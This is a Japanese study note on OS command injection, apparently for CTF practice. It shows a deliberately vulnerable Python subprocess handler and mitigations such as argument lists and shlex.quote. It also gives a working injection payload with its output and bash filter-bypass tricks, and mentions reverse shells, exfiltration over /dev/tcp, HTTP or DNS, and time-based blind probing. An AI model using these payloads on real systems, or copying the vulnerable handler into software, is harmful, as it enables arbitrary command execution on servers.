OS Command Injection
OSコマンドが注入できる脆弱性
例
/cowsay?message=mowのようにすると、cowsayコマンドの結果を出力できるサイトがあるとする
code:cowsay
_____
< mow >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
実装は次のようになっている
code:server.py
def get_cowsay(message):
return subprocess.run(f'cowsay "{message}"', shell=True, capture_output=True)
messageがコマンドに直接展開されていることに注目する
messageにhoge"; id / #を入力すると、全体のコマンドはこうなる
cowsay "hoge"; id # "
#はコメント
idコマンドが実行されるので、結果はこうなる
code:result
______
< hoge >
------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
uid=1000(satoooon) gid=1000(satoooon) groups=1000(satoooon)
これで任意コマンドの実行ができた
対策
入力を含むコマンドの実行は非常に脆弱性を作りこみやすいので、基本しない方がいい
やるならできるだけValidationする
シェルコマンドとして実行せず、引数を指定して直接実行する
シェルで実行されないので、;などで新しくコマンドを実行できない
コマンドに悪用できる引数がある場合は脆弱なので十分に調べること
例: subprocess.run(["base64", message], capture_output=True)
エスケープを行う
絶対に自前でエスケープ処理を書かない
ライブラリを利用しましょう
Python:shlex.quote
POSIX非準拠のシェルやWindowsなどのOSだと安全でない可能性がある
PHP: escapeshellarg
escapeshellcmdは場合によっては脆弱になるので注意
テクニック
Option Injection
引数を直接指定して実行しているときでも、悪用できるオプションがあれば攻撃できる
CrewCTF 2023 - sequence_gallery
出力が見れないときはリバースシェルが有効
面倒くさいときはHTTPやDNS経由で送ることもできる
bash
バッククオート「ls」や「$(ls)」、「<(ls)」でコマンドが実行できる
ScrapBoxでバッククオートをエスケープする方法がわからん
$(<file)は$(cat file)と等価
ワイルドカード
?は任意の一文字を表す
/b??/o?で/bin/odを作れたりする
[set]はset内の一文字を表す
[abc]でabcのどれか
[!abc]でabc以外のどれか
[a-z]でaからzのどれか
*は任意の文字列を表す
ブレース展開
{a,b}.txtでa.txt b.txtに展開される
変数
bashが文字列として禁止されているときはA=ba B=sh $A$BとするとBypassできる
$(())など入力が算術式として評価される場合は任意コード実行ができる
/dev/tcp/{ip}/{port}
echo hoge > /dev/tcp/127.0.0.1/8080で127.0.0.1:8080にhogeを送信できる
bash限定で実際のファイルシステムには存在しない
TCP通信以外にもHTTPやDNSが有効
ruby
perl
Time-based Blind OS Command Injection
出力が見れず、外部のインターネットにも繋がらないときはcmd && sleep 5などを使えばTime-basedに特定できる
資料